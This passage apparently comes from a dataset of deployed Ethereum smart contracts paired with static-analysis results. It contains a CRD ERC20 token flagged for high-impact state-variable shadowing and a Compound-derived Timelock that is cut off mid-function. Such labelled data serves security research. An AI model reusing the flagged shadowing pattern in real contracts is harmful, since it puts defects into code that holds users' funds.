ffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203949b5c6a9a942a446fd06691ce6a642548ee0ba50749c96a0a0bbe79fee166f64736f6c63430006060033
{"success": true, "error": null, "results": {}}
8,866
0xcaaa93712bdac37f736c323c93d4d5fdefcc31cc
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract CRDToken is CappedToken { string public name = "CryptalDash"; string public symbol = "CRD"; uint8 public decimals = 18; uint256 cap = 1000000000 * (10 ** 18); // 1 Billion Tokens function CRDToken() public CappedToken(cap) {} function batchMint(address[] users, uint256[] amounts) onlyOwner canMint public returns (bool) { require(users.length == amounts.length); for (uint i = 0; i < users.length; i++) { super.mint(users[i], amounts[i]); } return true; } }
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde031461012e578063095ea7b3146101bc57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b8578063355274ea146102e757806340c10f1914610310578063661884631461036a57806368573107146103c457806370a08231146104765780637d64bcb4146104c35780638da5cb5b146104f057806395d89b4114610545578063a9059cbb146105d3578063d73dd6231461062d578063dd62ed3e14610687578063f2fde38b146106f3575b600080fd5b341561010c57600080fd5b61011461072c565b604051808215151515815260200191505060405180910390f35b341561013957600080fd5b61014161073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610181578082015181840152602081019050610166565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b6101fc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107dd565b604051808215151515815260200191505060405180910390f35b341561022157600080fd5b6102296108cf565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108d9565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb610c93565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa610ca6565b6040518082815260200191505060405180910390f35b341561031b57600080fd5b610350600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cac565b604051808215151515815260200191505060405180910390f35b341561037557600080fd5b6103aa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d5d565b604051808215151515815260200191505060405180910390f35b34156103cf57600080fd5b61045c60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610fee565b604051808215151515815260200191505060405180910390f35b341561048157600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110d8565b6040518082815260200191505060405180910390f35b34156104ce57600080fd5b6104d6611120565b604051808215151515815260200191505060405180910390f35b34156104fb57600080fd5b6105036111e8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561055057600080fd5b61055861120e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059857808201518184015260208101905061057d565b50505050905090810190601f1680156105c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105de57600080fd5b610613600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112ac565b604051808215151515815260200191505060405180910390f35b341561063857600080fd5b61066d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114cb565b604051808215151515815260200191505060405180910390f35b341561069257600080fd5b6106dd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116c7565b6040518082815260200191505060405180910390f35b34156106fe57600080fd5b61072a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061174e565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d55780601f106107aa576101008083540402835291602001916107d5565b820191906000526020600020905b8154815290600101906020018083116107b857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561091657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561096357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109ee57600080fd5b610a3f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d0a57600080fd5b600360149054906101000a900460ff16151515610d2657600080fd5b600454610d3e836001546118bf90919063ffffffff16565b11151515610d4b57600080fd5b610d5583836118dd565b905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e6e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f02565b610e8183826118a690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104d57600080fd5b600360149054906101000a900460ff1615151561106957600080fd5b8251845114151561107957600080fd5b600090505b83518110156110cd576110bf848281518110151561109857fe5b9060200190602002015184838151811015156110b057fe5b90602001906020020151610cac565b50808060010191505061107e565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117e57600080fd5b600360149054906101000a900460ff1615151561119a57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112a45780601f10611279576101008083540402835291602001916112a4565b820191906000526020600020905b81548152906001019060200180831161128757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112e957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561133657600080fd5b611387826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061155c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117e657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156118b457fe5b818303905092915050565b60008082840190508381101515156118d357fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561193b57600080fd5b600360149054906101000a900460ff1615151561195757600080fd5b61196c826001546118bf90919063ffffffff16565b6001819055506119c3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820295ae2e7c50e9f542ec80132c218b580b351b602ca8a390d5aaabec9371f01c80029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
8,867
0x00ca5b4fcb1680c57da0a5a6c94a405822f960ab
/** *Submitted for verification at Etherscan.io on 2020-08-30 */ pragma solidity ^0.5.17; // Original file came from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol // Original audit: https://blog.openzeppelin.com/compound-finance-patch-audit/ // Overview: // No Critical // No High // // Changes made by PYLON after audit: // Formatting, naming, & uint256 instead of uint // SPDX-License-Identifier: MIT /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint256; /// @notice An event emitted when the timelock admin changes event NewAdmin(address indexed newAdmin); /// @notice An event emitted when a new admin is staged in the timelock event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); /// @notice An event emitted when a queued transaction is cancelled event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); /// @notice An event emitted when a queued transaction is executed event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); /// @notice An event emitted when a new transaction is queued event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); /// @notice the length of time after the delay has passed that a transaction can be executed uint256 public constant GRACE_PERIOD = 14 days; /// @notice the minimum length of the timelock delay uint256 public constant MINIMUM_DELAY = 48 hours; // have to be present for 2 rebases /// @notice the maximum length of the timelock delay uint256 public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint256 public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor() public { /* require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); */ admin = msg.sender; delay = MINIMUM_DELAY; admin_initialized = false; } function() external payable { } /** @notice sets the delay @param delay_ the new delay */ function setDelay(uint256 delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } /// @notice sets the new admin address function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } /** @notice queues a new pendingAdmin @param pendingAdmin_ the new pendingAdmin address */ function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, 